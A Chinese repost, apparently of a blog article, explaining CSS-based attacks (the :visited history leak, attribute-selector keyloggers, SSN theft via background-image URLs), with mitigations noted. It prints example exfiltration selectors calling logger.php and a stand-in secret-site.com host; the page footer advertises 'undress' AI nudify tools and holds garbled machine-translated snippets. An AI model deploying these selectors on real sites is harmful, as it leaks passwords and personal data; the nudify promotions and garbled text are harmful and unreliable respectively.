不必驚慌！CSS本身并非主要的重大安全隱患，大多數(shù)情況下無需過度擔(dān)憂。
然而，一些文章會討論CSS潛在的令人意外甚至擔(dān)憂的功能。讓我們來總結(jié)一下：
訪問過的鏈接問題
該問題描述如下：
- 網(wǎng)站上有一個指向特定頁面的鏈接，例如Tickle Pigs。
- 你使用
:visited樣式設(shè)置訪問過的鏈接顏色，例如a:visited { color: pink; }，這并非默認(rèn)的用戶代理樣式。 - 你測試該鏈接的計算樣式。
- 如果顏色為粉色，則表明該用戶訪問過該頁面。
- 你將此信息報告給某個服務(wù)器，并據(jù)此進(jìn)行某些操作（例如提高保險費率）。
你甚至可能完全使用CSS實現(xiàn)此目的，因為:visited樣式可能包含background-image: url(/data-logger/tickle.php);，只有訪問過該頁面的用戶才會請求該圖片。
不必?fù)?dān)心！瀏覽器已經(jīng)阻止了這種攻擊方式。
鍵盤記錄器
該問題描述如下：
- 頁面上有一個輸入框，可能是密碼輸入框。
- 你將一個記錄腳本作為輸入框的背景圖片，并添加大量選擇器來收集密碼信息。
input[value^="a"] { background: url(logger.php?v=a); }
這并不容易實現(xiàn)。輸入框的value屬性不會因為用戶輸入而立即改變。但在React等框架中，有時會發(fā)生這種情況。因此，理論上，如果將此CSS添加到使用React構(gòu)建的登錄頁面，則此CSS鍵盤記錄器可能有效。
但是，在這種情況下，頁面上已經(jīng)執(zhí)行了JavaScript代碼。對于此類攻擊，JavaScript比CSS危險得多。JavaScript鍵盤記錄器只需幾行代碼即可監(jiān)控按鍵事件并通過Ajax進(jìn)行報告。
內(nèi)容安全策略 (CSP) 可以阻止第三方和XSS注入的內(nèi)聯(lián)JavaScript……當(dāng)然也可以阻止CSS。
數(shù)據(jù)竊取
該問題描述如下：
- 如果我能將惡意CSS添加到你已登錄的網(wǎng)站頁面……
- 并且該網(wǎng)站顯示敏感信息，例如社會安全號碼 (SSN)，預(yù)先填充在表單中……
- 我可以用屬性選擇器來獲取它。
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }
通過大量選擇器，你可以覆蓋所有可能性！
內(nèi)聯(lián)樣式塊問題
我不確定是否應(yīng)該將此歸咎于CSS，但想象一下：
... 插入一些用戶生成的內(nèi)容 ...
也許你允許用戶自定義一些CSS。這是一個攻擊向量，因為他們可以關(guān)閉樣式標(biāo)簽，打開腳本標(biāo)簽，并編寫惡意的JavaScript代碼。
肯定還有更多
想到了嗎？分享出來吧。
我對CSS安全漏洞的恐懼程度持懷疑態(tài)度。我不想過分輕描淡寫安全問題（尤其是第三方問題），因為我不是專家，安全至關(guān)重要。但與此同時，我從未聽說過CSS成為除思想實驗之外的任何攻擊載體。請教教我！
以上是CSS安全漏洞的詳細(xì)內(nèi)容。更多信息請關(guān)注PHP中文網(wǎng)其他相關(guān)文章！
熱AI工具
Undress AI Tool
免費脫衣服圖片
Undresser.AI Undress
人工智能驅(qū)動的應(yīng)用程序，用于創(chuàng)建逼真的裸體照片
AI Clothes Remover
用于從照片中去除衣服的在線人工智能工具。
Clothoff.io
AI脫衣機(jī)
Video Face Swap
使用我們完全免費的人工智能換臉工具輕松在任何視頻中換臉！
熱門文章
熱工具
記事本++7.3.1
好用且免費的代碼編輯器
SublimeText3漢化版
中文版，非常好用
禪工作室 13.0.1
功能強(qiáng)大的PHP集成開發(fā)環(huán)境
Dreamweaver CS6
視覺化網(wǎng)頁開發(fā)工具
SublimeText3 Mac版
神級代碼編輯軟件(SublimeText3)
什么是'渲染障礙CSS”？
Jun 24, 2025 am 12:42 AM
CSS會阻塞頁面渲染是因為瀏覽器默認(rèn)將內(nèi)聯(lián)和外部CSS視為關(guān)鍵資源，尤其是使用引入的樣式表、頭部大量內(nèi)聯(lián)CSS以及未優(yōu)化的媒體查詢樣式。1.提取關(guān)鍵CSS并內(nèi)嵌至HTML；2.延遲加載非關(guān)鍵CSS通過JavaScript；3.使用media屬性優(yōu)化加載如打印樣式；4.壓縮合并CSS減少請求。建議使用工具提取關(guān)鍵CSS，結(jié)合rel="preload"異步加載，合理使用media延遲加載，避免過度拆分與復(fù)雜腳本控制。
外部與內(nèi)部CSS：最好的方法是什么？
Jun 20, 2025 am 12:45 AM
thebestapphachforcssdepprodsontheproject'sspefificneeds.forlargerprojects，externalcsSissBetterDuoSmaintoMaintainability andReusability; forsMallerProjectsorsingle-pageApplications，InternaltCsmightBemoresobleable.InternalCsmightBemorese.it.it'sclucialtobalancepopryseceneceenceprodrenceprodrenceNeed
我的CSS必須在較低的情況下嗎？
Jun 19, 2025 am 12:29 AM
否，CSSDOESNOTHAVETOBEINLOWERCASE.CHOMENDENS，使用flowercaseisrecommondendendending：1）一致性和可讀性，2）避免使用促進(jìn)性技術(shù)，3）潛在的Performent FormanceBenefits，以及4）RightCollaboraboraboraboraboraboraboraboraboraboraboraboraboraboraboraboraborationWithInteams。
CSS案例靈敏度：了解重要的
Jun 20, 2025 am 12:09 AM
cssismostlycaseminemintiment，buturlsandfontfamilynamesarecase敏感。1）屬性和valueslikeColor：紅色; prenotcase-sensive.2）urlsmustmustmatchtheserver'server'scase，例如
什么是AutoPrefixer，它如何工作？
Jul 02, 2025 am 01:15 AM
Autoprefixer是一個根據(jù)目標(biāo)瀏覽器范圍自動為CSS屬性添加廠商前綴的工具。1.它解決了手動維護(hù)前綴易出錯的問題；2.通過PostCSS插件形式工作，解析CSS、分析需加前綴的屬性、依配置生成代碼；3.使用步驟包括安裝插件、設(shè)置browserslist、在構(gòu)建流程中啟用；4.注意事項有不手動加前綴、保持配置更新、非所有屬性都加前綴、建議配合預(yù)處理器使用。
什么是CSS計數(shù)器？
Jun 19, 2025 am 12:34 AM
csscounterscanautomationallymentermentermentections和lists.1）usecounter-ensettoInitializize，反插入式發(fā)芽，andcounter（）orcounters（）
CSS：何時重要（何時不）？
Jun 19, 2025 am 12:27 AM
在CSS中，選擇器和屬性名不區(qū)分大小寫，而值、命名顏色、URL和自定義屬性則區(qū)分大小寫。1.選擇器和屬性名不區(qū)分大小寫，例如background-color和Background-Color相同。2.值中的十六進(jìn)制顏色不區(qū)分大小寫，但命名顏色區(qū)分大小寫，如red有效而Red無效。3.URL區(qū)分大小寫，可能導(dǎo)致文件加載問題。4.自定義屬性（變量）區(qū)分大小寫，使用時需注意大小寫一致。
什么是圓錐級函數(shù)？
Jul 01, 2025 am 01:16 AM
theconic-Gradient（）functionIncsscreatesCircularGradientsThatRotateColorStopSaroundAcentralPoint.1.IsidealForPieCharts，ProgressIndicators，colordichers，colorwheels和decorativeBackgrounds.2.itworksbysbysbysbydefindefingincolordefingincolorstopsatspecificains off.
